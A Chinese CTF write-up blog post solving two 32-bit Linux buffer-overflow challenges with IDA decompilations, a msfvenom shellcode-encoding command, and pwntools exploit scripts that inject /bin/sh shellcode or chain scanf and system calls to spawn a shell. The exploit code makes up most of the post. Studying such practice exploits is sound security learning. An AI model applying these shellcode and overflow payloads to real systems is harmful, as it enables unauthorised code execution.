pwn bof 两题

pwn1

thought

carter学长给的bof题目,题目比较奇葩= =。IDA能分析个大概:

int sub_8048582()
{
  alarm(0x3Cu);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  dword_804A160 = sub_804856D;
  printf("C'mon pwn me : ");
  __isoc99_scanf("%s", &unk_804A060);
  dword_804A160();
  return 0;
}

存在bof的buff位于bss段上,而且源程序中直接call buf之后的一个地址了。

.text:080485E7                 call    _printf
.text:080485EC                 mov     dword ptr [esp+4], offset unk_804A060
.text:080485F4                 mov     dword ptr [esp], offset aS ; "%s"
.text:080485FB                 call    ___isoc99_scanf
.text:08048600                 mov     eax, ds:dword_804A160
.text:08048605                 call    eax ; dword_804A160
.text:08048607                 mov     eax, 0

总结

  1. scanf读入的payload中不能有whitespace,所以原来的21bytes shellcode就不能用了,存在”\x0b”。

  2. 使用msfvenom生成shellcode

cat input | msfvenom -p - -a x86 --platform linux -e x86/shikata_ga_nai -b '\x00\x0a\x0b\x0d\xff' -f python -o output

exp

from pwn import *
import time

debug = 1
local = 1
attach = local & 0
bps = attach & 0
proc_name = 'pwn1'
#socat TCP4-LISTEN:10001,fork EXEC:./pwn1
ip = '127.0.0.1'
port = 10001
io = None

def makeio():
    global io 
    if local:
        io = process(proc_name)
    else:
        io = remote(ip,port)
def ru(data):
    return io.recvuntil(data)
def rv():
    return io.recv()
def sl(data):
    return io.sendline(data)
def sn(data):
    return io.send(data)
def rl():
    return io.recvline()

def pwn():
    makeio()
    if debug:
        context.log_level = 'debug'
    if attach:
        if bps:
            gdb.attach(pidof(proc_name)[0], open('bps'))
        else:
            gdb.attach(pidof(proc_name)[0])
    bss_addr = 0x0804A060
    sc_scanf =  "\x31\xc0\xb0\x30\x01\xc4\x30\xc0"
    sc_scanf += "\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    sc_scanf += "\x62\x69\x6e\x89\xe3\x89\xc1\xb0"
    sc_scanf += "\xb0\xc0\xe8\x04\xcd\x80\xc0\xe8"
    sc_scanf += "\x03\xcd\x80"
    ru('C\'mon pwn me :')
    payload = sc_scanf.ljust(256,chr(0x90)) + p32(bss_addr)
    sl(payload)
    io.interactive()

if __name__ == '__main__':
    pwn()

pwn2

thoughts

IDA pro分析:


int __cdecl ShowInfo(char *src)
{
  char dest[2]; // [sp+10h] [bp-88h]@1
  __int16 v3; // [sp+12h] [bp-86h]@1
  int v4; // [sp+14h] [bp-84h]@1

  *(_WORD *)dest = 0;
  v3 = 0;
  memset(&v4, 0, 0x7Cu);
  strcpy(dest, src);
  return printf("your name:%s\n", dest);
}

本题觉得比较难:
1. 溢出点位于ShowInfo中,传入参数为最大长度256的字符串。可以通过bof覆盖返回地址,但不知道栈的地址,无法指向buf。
2. 程序中有system函数,觉得这点可用:控制esp指向/bin/sh,返回地址填call system的地址。但控制esp是难点。对比ret2libc,栈如此布置:返回地址 + 指向/bin/sh的指针。这里是call,只需要把指向/bin/sh的指针放在栈顶,再call system即可。可是,无法构造这个指针。

总结

way1

gdb中 find ‘sh’ 可以找到sh的地址,直接布置bofpayload中callsys_addr之后即可。

way2

在bof中通过scanf读取/bin/sh,函数返回到system_plt。
注意scanfbuf_addr要是一个可读可写的地址。

==不过为何0x804a1a6可以,而0x804a100不可以呢?==

padding
scanf_plt
system_plt
scanfformat_addr
scanfbuf_addr

exp

...


def pwn1():
    callsys_addr = 0x080487BD
    sh_addr = 0x80482ea
    ru('input your name:')
    payload = '\x41'*0x88 + p32(0xdeadbeaf) + p32(callsys_addr) +p32(sh_addr)
    sl(payload)
    ru(':')
    sl('1')
    io.interactive()

def pwn():
    makeio()
    if debug:
        context.log_level = 'debug'
    if attach:
        if bps:
            gdb.attach(pidof(proc_name)[0], open('bps'))
        else:
            gdb.attach(pidof(proc_name)[0])

    sys_plt = 0x080484B0
    scanf_plt = 0x080484F0 
    scanf_format = 0x0804888F
    scanf_buf = 0x804a1a6  #0x804a100

    payload = '\x41'*0x88 + p32(0xdeadbeaf) + p32(scanf_plt) +p32(sys_plt) + p32(scanf_format)  +p32(scanf_buf)
    ru('input your name:')
    sl(payload)
    ru(':')
    sl('1')
    sl('/bin/sh')
    io.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值